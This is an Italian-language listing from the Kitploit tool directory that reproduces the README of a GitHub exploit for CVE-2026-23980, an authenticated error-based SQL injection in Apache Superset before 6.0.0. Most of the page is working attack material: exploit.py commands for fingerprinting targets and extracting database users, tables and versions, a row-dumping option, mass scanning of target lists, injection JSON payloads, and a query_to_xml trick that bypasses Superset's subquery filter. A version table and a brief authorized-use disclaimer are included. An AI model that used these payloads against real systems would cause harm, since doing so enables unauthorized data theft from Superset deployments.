Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-23980-Exploit — Exploit per CVE-2026-23980 — SQL injection basata su errori autenticata in Apache Superset < 6.0.0 tramite bypass di sqlExpression | Kitploit
Strumenti/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit per CVE-2026-23980 — SQL injection basata su errori autenticata in Apache Superset < 6.0.0 tramite bypass di sqlExpression

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
4 mesi faNon ancora revisionato
Condividi

CVE-2026-23980 - Apache Superset Iniezione SQL Autenticata

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression va direttamente alla query. nessuna parametrizzazione. nessuna speranza.

Apache Superset < 6.0.0 consente agli utenti autenticati con accesso in lettura di eseguire iniezione SQL basata su errori tramite i parametri sqlExpression o where nell'endpoint /api/v1/chart/data.

Il filtro validate_adhoc_subquery() viene bypassato utilizzando le funzioni XML di PostgreSQL (query_to_xml, ecc.) che eseguono SQL come argomenti di funzione, invisibili al tokenizer di sqlparse.

  • CVSS: 6.5 Medio (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (Iniezione SQL)
  • Versioni vulnerabili: Apache Superset < 6.0.0
  • Versione corretta: Apache Superset 6.0.0
  • Autenticazione richiesta: Sì (accesso in lettura)
  • Database: PostgreSQL (estrazione basata su errori)

Catena di attacco

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> colonna adhoc sqlExpression / extras.where iniettati
  -> validate_adhoc_subquery() BYPASSATO tramite query_to_xml()
  -> SQL grezzo raggiunge PostgreSQL
  -> CAST((...) AS INT) l'errore fa trapelare i dati nella risposta

Installazione

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Utilizzo

Ricognizione - fingerprint ed enumerazione delle origini dati

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Verifica se un'origine dati è iniettabile

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Estrazione dati tramite SQLi basata su errori

root@kitploit:~
# Versione del database
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Utenti del database
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# Elenco tabelle
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Utente corrente
python3 exploit.py ... --sql "SELECT current_user"

Bypass della validazione delle sottoquery con query_to_xml()

Quando validate_adhoc_subquery() blocca la tua query (rileva FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

Questo avvolge la query in query_to_xml() che nasconde la clausola FROM al tokenizer.

Scarica più righe

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Utilizza il punto di iniezione WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Scansione di massa

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy tramite Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

Come funziona

Vettori di iniezione

sqlExpression (predefinito) - iniettato nella definizione di una colonna:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - iniettato nella clausola extras.where:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Estrazione basata su errori

L'exploit utilizza il casting di tipo di PostgreSQL per far trapelare dati:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL non può convertire una stringa in intero, quindi genera:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

Il valore trapelato viene estratto dal messaggio di errore nella risposta API.

Bypass della validazione

La funzione has_table_query() di Superset cerca FROM/JOIN per rilevare sottoquery. La funzione query_to_xml() di PostgreSQL esegue SQL ma lo nasconde come argomento di funzione:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

Il tokenizer vede una chiamata di funzione, non una clausola FROM, bypassando il filtro.

Analisi della patch

Versione

Riferimenti

  • NVD - CVE-2026-23980
  • Avviso Apache
  • Quarkslab - Bypass delle restrizioni SQLi di Superset
  • OSS Security
  • CVE-2025-48912 - Bypass RLS correlato

Disclaimer

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Utilizzalo solo contro sistemi per cui hai esplicito permesso di test. L'autore non è responsabile per un uso improprio.

Scarica lo strumento
Stato
< 4.0.2Vulnerabile (nessuna denylist per funzioni XML)
4.0.2Fix parziale (CVE-2024-39887 - aggiunte alcune funzioni XML alla denylist)
4.1.0Denylist estesa (più funzioni XML)
4.1.2Bypass della sicurezza a livello di riga corretto (CVE-2025-48912)
6.0.0Fix completo per CVE-2026-23980